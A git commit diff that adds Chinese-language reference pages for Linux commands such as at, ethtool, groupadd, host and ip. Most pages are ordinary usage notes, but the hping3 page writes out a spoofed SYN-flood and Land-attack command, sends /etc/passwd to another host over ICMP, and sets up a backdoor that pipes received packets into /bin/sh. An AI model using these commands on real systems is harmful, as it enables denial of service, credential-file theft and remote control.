添加命令

This commit is contained in:
jaywcjlove 2016-12-02 01:53:12 +08:00
parent 97848016f5
commit c634c92de7
50 changed files with 3328 additions and 0 deletions

43
command/ab.md Normal file
View File

@ -0,0 +1,43 @@
ab
===
Apache服务器的性能测试工具
## 补充说明
**ab命令** 是Apache的Web服务器的性能测试工具它可以测试安装Web服务器每秒种处理的HTTP请求。
### 语法
```
ab(选项)(参数)
```
### 选项
```
-A指定连接服务器的基本的认证凭据
-c指定一次向服务器发出请求数
-C添加cookie
-g将测试结果输出为“gnuolot”文件
-h显示帮助信息
-H为请求追加一个额外的头
-i使用“head”请求方式
-k激活HTTP中的“keepAlive”特性
-n指定测试会话使用的请求数
-p指定包含数据的文件
-q不显示进度百分比
-T使用POST数据时设置内容类型头
-v设置详细模式等级
-w以HTML表格方式打印结果
-x以表格方式输出时设置表格的属性
-X使用指定的代理服务器发送请求
-y以表格方式输出时设置表格属性。
```
### 参数
主机:被测试主机。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

46
command/arpd.md Normal file
View File

@ -0,0 +1,46 @@
arpd
===
收集免费ARP信息
## 补充说明
**arpd命令** 是用来收集免费arp信息的一个守护进程它将收集到的信息保存在磁盘上或者在需要时提供给内核用户用于避免多余广播。
### 语法
```
arpd(选项)(参数)
```
### 选项
```
-l将arp数据库输出到标准输出设备显示并退出
-f指定读取和加载arpd数据库的文本文件文件的格式与“-l”输出信息类似
-b指定arpd数据库文件默认的位置为“/var/lib/arpd.db”
-a指定目标被认为死掉前查询的次数
-k禁止通过内核发送广播查询
-n设定缓冲失效时间。
```
### 参数
网络接口:指定网络接口。
### 实例
启动arpd进程
```
arpd -b /var/tmp/arpd.db
```
运行一段时间后,查看结果:
```
arpd -l -b /var/tmp/arpd.db
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

35
command/arptables.md Normal file
View File

@ -0,0 +1,35 @@
arptables
===
管理ARP包过滤规则表
## 补充说明
**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。
### 语法
```
arptables(选项)
```
### 选项
```
-A向规则链中追加规则
-D从指定的链中删除规则
-l向规则链中插入一条新的规则
-R替换指定规则
-P设置规则链的默认策略
-F刷新指定规则链将其中的所有规则链删除但是不改变规则链的默认策略
-Z将规则链计数器清零
-L显示规则链中的规则列表
-X删除指定的空用户自定义规则链
-h显示指令帮助信息
-j指定满足规则的添加时的目标
-s指定要匹配ARP包的源ip地址
-d指定要匹配ARP包的目的IP地址。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

84
command/at.md Normal file
View File

@ -0,0 +1,84 @@
at
===
在指定时间执行一个任务
## 补充说明
**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm小时:分钟式的时间指定。假如该时间已过去那么就放在第二天执行。当然也能够使用midnight深夜noon中午teatime饮茶时间一般是下午4点等比较模糊的 词语来指定时间。用户还能够采用12小时计时制即在时间后面加上AM上午或PM下午来说明是上午还是下午。 也能够指定命令执行的具体日期指定格式为month day 或mm/dd/yy月/日/年或dd.mm.yy日.月.年)。指定的日期必须跟在指定时间的后面。
上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`now就是当前时间time-units是时间单位这里能够是minutes分钟、hours小时、days、weeks星期。count是时间的数量究竟是几天还是几小时等等。 更有一种计时方法就是直接使用today今天、tomorrow明天来指定完成命令的时间。
### 语法
```
at(选项)(参数)
```
### 选项
```
-f指定包含具体指令的任务文件
-q指定新任务的队列名称
-l显示待执行任务的列表
-d删除指定的待执行任务
-m任务执行完成后向用户发送E-mail。
```
### 参数
日期时间:指定任务执行的日期时间。
### 实例
三天后的下午 5 点锺执行`/bin/ls`
```
[root@localhost ~]# at 5pm+3 days
at> /bin/ls
at> <EOT>
job 7 at 2013-01-08 17:00
```
明天17点钟输出时间到指定文件内
```
[root@localhost ~]# at 17:20 tomorrow
at> date >/root/2013.log
at> <EOT>
job 8 at 2013-01-06 17:20
```
计划任务设定后在没有执行之前我们可以用atq命令来查看系统没有执行工作任务
```
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
7 2013-01-08 17:00 a root
```
删除已经设置的任务:
```
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
7 2013-01-08 17:00 a root
[root@localhost ~]# atrm 7
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
```
显示已经设置的任务内容:
```
[root@localhost ~]# at -c 8
#!/bin/sh
# atrun uid=0 gid=0
# mail root 0
umask 22此处省略n个字符
date >/root/2013.log
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

36
command/atq.md Normal file
View File

@ -0,0 +1,36 @@
atq
===
列出当前用户的at任务列表
## 补充说明
**atq命令** 显示系统中待执行的任务列表也就是列出当前用户的at任务列表。
### 语法
```
atq(选项)
```
### 选项
```
-V显示版本号
-q查询指定队列的任务。
```
### 实例
```
at now + 10 minutes
at> echo 1111
at> <eot>
job 3 at Fri Apr 26 12:56:00 2013
atq
3 Fri Apr 26 12:56:00 2013 a root
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

39
command/atrm.md Normal file
View File

@ -0,0 +1,39 @@
atrm
===
删除待执行任务队列中的指定任务
## 补充说明
**atrm命令** 用于删除待执行任务队列中的指定任务。
### 语法
```
atrm(选项)(参数)
```
### 选项
```
-V显示版本号。
```
### 参数
任务号:指定待执行队列中要删除的任务。
### 实例
删除已经排队的任务
```
atq //显示当前已经设置的任务
2 Mon May 17 08:00:00 2010 a root
1 Sat May 15 17:00:00 2010 a root
atrm 2 //删除任务2
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

38
command/batch.md Normal file
View File

@ -0,0 +1,38 @@
batch
===
在系统不繁忙的时候执行定时任务
## 补充说明
**batch命令** 用于在指定时间当系统不繁忙时执行任务用法与at相似。
### 语法
```
batch(选项)(参数)
```
### 选项
```
-f指定包含具体指令的任务文件
-q指定新任务的队列名称
-m任务执行完后向用户发送E-mail。
```
### 参数
日期时间:指定任务执行的日期时间。
### 实例
```
batch
at> echo 1234
at> <EOT>
job 5 at Sun Apr 28 08:49:00 2013
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

35
command/chpasswd.md Normal file
View File

@ -0,0 +1,35 @@
chpasswd
===
批量更新用户口令的工具
## 补充说明
**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。
### 语法
```
chpasswd(选项)
```
### 选项
```
-e输入的密码是加密后的密文
-h显示帮助信息并退出
-m当被支持的密码未被加密时使用MD5加密代替DES加密。
```
### 实例
先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`必须以这种格式来书写并且不能有空行保存成文本文件user.txt然后执行chpasswd命令
```
chpasswd < user.txt
```
以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

245
command/ethtool.md Normal file
View File

@ -0,0 +1,245 @@
ethtool
===
显示或修改以太网卡的配置信息
## 补充说明
ethtool命令用于获取以太网卡的配置信息或者修改这些配置。这个命令比较复杂功能特别多。
### 语法
```
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
ethtool [-e] ethX [raw on|off] [offset N] [length N]
ethtool [-E] ethX [magic N] [offset N] [value N]
ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off]
ethtool [-p] ethX [N]
ethtool [-t] ethX [offline|online]
ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external]
[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
```
### 选项
```
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态启动on 或 停用off。
-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态启动on 或 停用off。
-c display the Coalesce information of the specified ethernet card。
-C Change the Coalesce setting of the specified ethernet card。
-g Display the rx/tx ring parameter information of the specified ethernet card。
-G change the rx/tx ring setting of the specified ethernet card。
-i 显示网卡驱动的信息,如驱动的名称、版本等。
-d 显示register dump信息, 部分网卡驱动不支持该选项。
-e 显示EEPROM dump信息部分网卡驱动不支持该选项。
-E 修改网卡EEPROM byte。
-k 显示网卡Offload参数的状态on 或 off包括rx-checksumming、tx-checksumming等。
-K 修改网卡Offload参数的状态。
-p 用于区别不同ethX对应网卡的物理位置常用的方法是使网卡port上的led不断的闪N指示了网卡闪的持续时间以秒为单位。
-r 如果auto-negotiation模块的状态为on则restarts auto-negotiation。
-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
-t 让网卡执行自我检测有两种模式offline or online。
-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
```
### 数据来源
Ethtool命令显示的信息来源于网卡驱动层即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为
最重要的结构体`struct ethtool_ops`,该结构体成员为用于显示或修改以太网卡配置的一系列函数指针,见下表中的第二列。
网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示:
<table>
<tbody>
<tr>
<th style="width: 100px;">命令选项</th>
<th>struct ethtool_ops成员函数</th>
<th>Ethtool命令显示参数的来源以网卡驱动BNX2为例</th>
</tr>
<tr>
<td>无 -s</td>
<td>get_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel</td>
<td>从网卡寄存器中获得网卡速度等信息,可配置。</td>
</tr>
<tr>
<td>-a -A</td>
<td>get_pauseparam set_pauseparam</td>
<td>从网卡寄存器中获得Autonegotiate/RX/TX模块的状态on oroff可配置。</td>
</tr>
<tr>
<td>-c -C</td>
<td>get_coalesceset_coalesce</td>
<td>从网卡寄存器中获得coalescing参数TX/RX一个数据包后推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时RX中断停止。 当tx-usecs&tx-frames同时被设为0时TX中断停止。</td>
</tr>
<tr>
<td>-g -G</td>
<td>get_ringparam set_ringparam</td>
<td>除当前TX/RX ring的值从网卡寄存器中读取得到可配置其它为网卡bnx2自己固定的信息。</td>
</tr>
<tr>
<td>-k -K</td>
<td>get_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso</td>
<td>显示信息从保存该状态的变量中读取得到没有对应的寄存器。因此TX/RX校验等模块一直处于on状态实际上是无法修改的。</td>
</tr>
<tr>
<td>-i</td>
<td>get_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]</td>
<td>网卡bnx2自己固定的信息
——————————————————–
driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0
——————————————————–</td>
</tr>
<tr>
<td>-d</td>
<td>get_drvinfoget_regs</td>
<td>不支持即bnx2中没有实现函数get_regs。</td>
</tr>
<tr>
<td>-e -E</td>
<td>get_eepromset_eeprom</td>
<td>不支持即bnx2中没有实现函数get_eeprom。</td>
</tr>
<tr>
<td>-r</td>
<td>nway_reset</td>
<td>配置网卡MII_BMCR寄存器重启Auto negotiation模块。</td>
</tr>
<tr>
<td>-p</td>
<td>phys_id</td>
<td>配置网卡BNX2_EMAC_LED寄存器实现LED闪功能。</td>
</tr>
<tr>
<td>-t</td>
<td>self_test</td>
<td>通过配置网卡寄存器逐一测试网卡的硬件模块registersmemoryloopbackLink statinterrupt。</td>
</tr>
<tr>
<td>-S</td>
<td>get_ethtool_stats</td>
<td>显示信息来源于网卡驱动中的结构体变量stats_blk。网卡通过DMA方式将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。 —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。</td>
</tr>
</tbody>
</table>
由上可见ethtool命令用于显示/配置网卡硬件(寄存器)。  
### 实例
查看机器上网卡的速度:百兆还是千兆,请输入:
```
ethool eth0
```
操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX请输入
```
ethtool -A tx off eth0
```
操作完毕后,可输入`ethtool -a eth0`查看tx模块是否已被停止。查看网卡eth0采用了何种驱动请输入
```
ethtool -i eth0
```
操作完毕后,显示 driver: bnx2version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:
```
ethtool -K eth0 rx off
```
操作完毕后,可输入`ethtool k eth0`查看校验功能是否已被停止。如果机器上安装了两块网卡那么eth0对应着哪块网卡呢输入
```
ethtool -p eth0 10
```
操作完毕后看哪块网卡的led灯在闪eth0就对应着哪块网卡。查看网卡在接收/发送数据时,有没有出错?请输入:
```
ethtool S eth0
```
将千兆网卡的速度降为百兆,请输入:
```
ethtool -s eth0 speed 100   
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

23
command/exportfs.md Normal file
View File

@ -0,0 +1,23 @@
exportfs
===
管理NFS共享文件系统列表
## 补充说明
exportfs 命令用来管理当前NFS共享的文件系统列表。
参数:
```
-a 打开或取消所有目录共享。
-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
-u 取消一个或多个目录的共享。
-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

63
command/gpasswd.md Normal file
View File

@ -0,0 +1,63 @@
gpasswd
===
Linux下工作组文件的管理工具
## 补充说明
**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。
### 语法
```
gpasswd(选项)(参数)
```
### 选项
```
-a添加用户到组
-d从组删除用户
-A指定管理员
-M指定组成员和-A的用途差不多
-r删除密码
-R限制用户登入组只有组中的成员才可以用newgrp加入该组。
```
### 参数
组:指定要管理的工作组。
### 实例
如系统有个peter账户该账户本身不是groupname群组的成员使用newgrp需要输入密码即可。
```
gpasswd groupname
```
让使用者暂时加入成为该组成员之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组而不是peter本身所在的组。
所以使用`gpasswd groupname`设定密码就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。
```
gpasswd -A peter users
```
这样peter就是users群组的管理员就可以执行下面的操作:
```
gpasswd -a mary users
gpasswd -a allen users
```
注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。
所以想要添加一个用户到一个组同时保留以前添加的组时请使用gpasswd这个命令来添加操作用户
```
gpasswd -a user_name group_name
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

40
command/groupadd.md Normal file
View File

@ -0,0 +1,40 @@
groupadd
===
用于创建一个新的工作组
## 补充说明
**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。
### 语法
```
groupadd(选项)(参数)
```
### 选项
```
-g指定新建工作组的id
-r创建系统工作组系统工作组的组ID小于500
-K覆盖配置文件“/ect/login.defs”
-o允许添加组ID号不唯一的工作组。
```
### 参数
组名:指定新建工作组的组名。
### 实例
建立一个新组并设置组ID加入系统
```
groupadd -g 344 jsdigname
```
此时在`/etc/passwd`文件中产生一个组IDGID是344的项目。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

37
command/groups.md Normal file
View File

@ -0,0 +1,37 @@
groups
===
用来打印指定用户所属的工作组
## 补充说明
**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。
### 语法
```
groups(选项)(参数)
```
### 选项
```
-help显示命令的帮助信息
--version显示命令的版本信息。
```
### 参数
用户名:指定要打印所属工作组的用户名。
### 实例
显示linux用户所属的组
```
groups linux
linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

50
command/grpck.md Normal file
View File

@ -0,0 +1,50 @@
grpck
===
用于验证组文件的完整性
## 补充说明
**grpck命令** 用于验证组文件的完整性在验证之前需要先锁定lock组文件`/etc/group`和`/etc/shadow`。
grpck命令检查数据是否正确存放每条记录是否都包含足够的信息是否有一个唯一的组名是否包含正确的用户是否正确设置了组的管理员等。grpck检查发现错误以后在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录grpck终止运行。
### 语法
```
grpck(选项)
```
### 选项
```
-r只读模式
-s排序组id。
```
### 实例
对组账号和影子文件进行验证:
```
grpck //必须以管理员身份运行
grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。
```
测试错误的实例:
```
**echo check_user:x: >> /etc/group //添加一行错误的格式数据
cat /etc/group | grep check_user**
check_user:x: //这儿GID字段为空是错误的。
**grpck /etc/group**
invalid group file entry
delete line 'check_user:x:'? y //提示是否删除
grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。
**cat /etc/group | grep check_user //没有查到,已经删除了。**
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

57
command/host.md Normal file
View File

@ -0,0 +1,57 @@
host
===
常用的分析域名查询工具
## 补充说明
**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。
### 语法
```
host(选项)(参数)
```
### 选项
```
-a显示详细的DNS信息
-c<类型>指定查询类型默认值为“IN“
-C查询指定主机的完整的SOA记录
-r在查询域名时不使用递归的查询方式
-t<类型>:指定查询的域名信息类型;
-v显示指令执行的详细信息
-w如果域名服务器没有给出应答信息则总是等待直到域名服务器给出应答
-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;
-4使用IPv4
-6使用IPv6.
```
### 参数
主机:指定要查询信息的主机信息。
### 实例
```
[root@localhost ~]# host www.jsdig.com
www.jsdig.com is an alias for host.1.jsdig.com.
host.1.jsdig.com has address 100.42.212.8
[root@localhost ~]# host -a www.jsdig.com
Trying "www.jsdig.com"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.jsdig.com. IN ANY
;; ANSWER SECTION:
www.jsdig.com. 463 IN CNAME host.1.jsdig.com.
Received 54 bytes from 202.96.104.15#53 in 0 ms
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

156
command/hping3.md Normal file
View File

@ -0,0 +1,156 @@
hping3
===
测试网络及主机的安全
## 补充说明
**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分因此用户可以灵活对目标机进行细致地探测。
### 安装
```
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
```
### 选项
```
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间单位是毫秒缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息TCP回应一般如len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时比如用HPING遇到一些不合你习惯的时候你可以用此模式修改HPINGINTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式此模式下HPING会发送IGMP应答报你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式缺省下HPING会发送UDP报文到主机的0端口你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式用此模式HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击防火墙就不会记录你的真实IP了当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的可以让ID曾递减输出详见HPING-HOWTO。
-F --FRAG 更改包的FRAG这可以测试对方对于包碎片的处理能力缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大50000没指定此项时3000-20000左右。
-G --rroute 记录路由可以看到详悉的数据等等最多可以经过9个路由即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度缺省为532字节
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID缺省是RANDOM。
--icmp-ipproto 设置协议的缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包它从一个基本端口计数每收一个包端口也加1这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口缺省为0一个加号设置为:每发送一个请求包到达后端口加1两个加号为每发一个包端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的这对于你分析TCP序列号有很大作用。
```
### Hping3功能
Hping3主要有以下典型功能应用
####  防火墙测试
使用Hping3指定各种数据包字段依次对防火墙进行详细测试。请参考http://0daysecurity.com/articles/hping3_examples.html
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击DoS attack。例如以LandAttack方式测试目标防火墙Land Attack是将发送源地址设置为与目标地址相同诱使目标机与自己不停地建立连接
```
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
```
#### 端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放
```
hping3 -I eth0 -S 192.168.10.1 -p 80
```
其中`-I eth0`指定使用eth0端口`-S`指定TCP包的标志位SYN`-p 80`指定探测的目的端口。
hping3支持非常丰富的端口探测方式nmap拥有的扫描方式hping3几乎都支持除开connect方式因为Hping3仅发送与接收包不会维护连接所以不支持connect方式探测。而且Hping3能够对发送的探测进行更加精细的控制方便用户微调探测结果。当然Hping3的端口扫描性能及综合处理能力无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
#### Idle扫描
Idle扫描Idle Scanning是一种匿名扫描远程主机的方式该方式也是有Hping3的作者Salvatore Sanfilippo发明的目前Idle扫描在Nmap中也有实现。
该扫描原理是寻找一台idle主机该主机没有任何的网络流量并且IPID是逐个增长的攻击端主机先向idle主机发送探测包从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包此处假设为SYN包此时如果远程主机的目的端口开放那么会回复SYN/ACK此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包获取其IPID。那么对比两次的IPID值我们就可以判断远程主机是否回复了数据包从而间接地推测其端口状态。
#### 拒绝服务攻击
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接伪造源地址为192.168.10.99并使用1000微秒的间隔发送各个SYN包。
```
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
```
其他攻击如smurf、teardrop、land attack等也很容易构建出来。
#### 文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口对检测到的签名签名为用户指定的字符串的内容进行相应的解析。在接收端开启服务
```
hping3 192.168.1.159--listen signature --safe --icmp
```
监听ICMP包中的签名根据签名解析出文件内容。
在发送端使用签名打包的ICMP包发送文件
```
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
```
将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节-d 100发送签名为signature(-sign signature)。
#### 木马功能
如果Hping3能够在远程主机上启动那么可以作为木马程序启动监听端口并在建立连接后打开shell通信。与netcat的后门功能类似。
示例本地打开53号UDP端口DNS解析服务监听来自192.168.10.66主机的包含签名为signature的数据包并将收到的数据调用/bin/sh执行。
在木马启动端:
```
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
```
在远程控制端:
```
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
```
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口包数据长度为100字节。
当然这里只是简单的演示程序真实的场景控制端可以利益shell执行很多的高级复杂的操作。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

50
command/init.md Normal file
View File

@ -0,0 +1,50 @@
init
===
init进程是所有Linux进程的父进程
## 补充说明
**init命令** 是Linux下的进程初始化工具init进程是所有Linux进程的父进程它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一init进程是Linux内核引导运行的是系统中的第一个进程。
### 语法
```
init(选项)(参数)
```
### 选项
```
-b不执行相关脚本而直接进入单用户模式
-s切换到单用户模式。
```
### 参数
运行等级指定Linux系统要切换到的运行等级。
### 实例
几个常用的命令
查看系统进程命令:`ps -ef | head`
查看init的配置文件`more /etc/inittab`
查看系统当前运行的级别:`runlevel`
**运行级别**
到底什么是运行级呢简单的说运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。
```
#0 停机千万不能把initdefault 设置为0
#1 单用户模式
#2 多用户,没有 NFS(和级别3相似会停止部分服务)
#3 完全多用户模式
#4 没有用到
#5 x11(Xwindow)
#6 重新启动千万不要把initdefault 设置为6
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

95
command/ip.md Normal file
View File

@ -0,0 +1,95 @@
ip
===
网络配置工具
## 补充说明
**ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道是Linux下较新的功能强大的网络配置工具。
### 语法
```
ip(选项)(参数)
```
### 选项
```
-V显示指令版本信息
-s输出更详细的信息
-f强制使用指定的协议族
-4指定使用的网络层协议是IPv4协议
-6指定使用的网络层协议是IPv6协议
-0输出信息每条记录输出一行即使内容较多也不换行显示
-r显示主机时不使用IP地址而使用主机的域名。
```
### 参数
```
网络对象:指定要管理的网络对象;
具体操作:对指定的网络对象完成具体操作;
help显示网络对象支持的操作命令的帮助信息。
```
### 实例
**用ip命令显示网络设备的运行状态**
```
[root@localhost ~]# ip link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
```
**显示更加详细的设备信息**
```
[root@localhost ~]# ip -s link list
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
RX: bytes packets errors dropped overrun mcast
5082831 56145 0 0 0 0
TX: bytes packets errors dropped carrier collsns
5082831 56145 0 0 0 0
